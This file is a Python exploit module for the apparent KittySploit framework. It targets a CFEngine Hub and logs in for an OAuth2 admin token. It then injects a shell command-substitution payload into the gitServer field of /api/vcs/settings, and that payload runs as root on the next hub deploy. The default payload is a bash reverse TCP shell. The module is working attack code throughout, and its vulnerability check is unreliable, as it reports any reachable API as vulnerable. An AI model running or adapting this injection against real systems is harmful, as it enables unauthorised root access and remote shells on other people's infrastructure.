CFEngine Hub VCS gitServer injection RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CFEngine Nova Hub VCS settings gitServer command injection."""

from __future__ import annotations

import json
import re
import time

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "CFEngine Hub VCS gitServer injection RCE",
        "description": (
            "OAuth2 admin token then POST /api/vcs/settings injects $(cmd) into "
            "params.sh; execution when masterfiles-stage.sh is sourced (hub deploy/cf-agent)."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["cfengine", "rce", "injection"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/cfengine_vcs_settings_rce_detect"],
            },
        },
    }

    port = OptPort(4443, "CFEngine Hub HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("admin", "Hub admin username", required=True)
    password = OptString("", "Hub admin password", required=True)
    client_id = OptString("MP", "OAuth client_id", required=False)
    client_secret = OptString("", "OAuth client_secret", required=True)

    def _oauth_token(self) -> str:
        body = {
            "grant_type": "password",
            "client_id": str(self.client_id or "MP"),
            "client_secret": str(self.client_secret or ""),
            "username": str(self.username or "admin"),
            "password": str(self.password or ""),
        }
        resp = self.http_request("POST", "/api/oauth2/token", json=body)
        if not resp or int(resp.status_code or 0) != 200:
            return ""
        try:
            return str(resp.json().get("access_token") or "")
        except Exception:
            return ""

    def execute(self, cmd: str) -> str:
        token = self._oauth_token()
        if not token:
            return "OAuth2 login failed — set password and client_secret"
        marker = f"/tmp/cfe_ks_{int(time.time())}"
        payload = f"$({{ {cmd} ; }} > {marker} 2>&1; echo https://x.invalid/r.git)"
        vcs_body = {
            "vcsType": "GIT",
            "gitServer": payload,
            "gitUsername": "u",
            "gitPassword": "p",
            "gitRefspec": "master",
            "projectSubdirectory": "",
            "buildProject": "",
        }
        resp = self.http_request(
            "POST",
            "/api/vcs/settings",
            json=vcs_body,
            headers={"Authorization": f"Bearer {token}"},
        )
        if not resp:
            return "vcs/settings request failed"
        return (
            f"HTTP {resp.status_code} {(resp.text or '')[:800]}\n"
            f"Injection stored — trigger hub masterfiles-stage / deploy to run as root\n"
            f"expected marker on hub: {marker}"
        )

    def check(self):
        resp = self.http_request("GET", "/api/oauth2/token")
        if resp and int(resp.status_code or 0) in (200, 400, 405):
            return {
                "vulnerable": True,
                "reason": "CFEngine Hub API reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "Hub API not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.password or "").strip() or not str(self.client_secret or "").strip():
            print_error("Set password and client_secret")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("Injecting gitServer via /api/vcs/settings")
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        return True if blind else True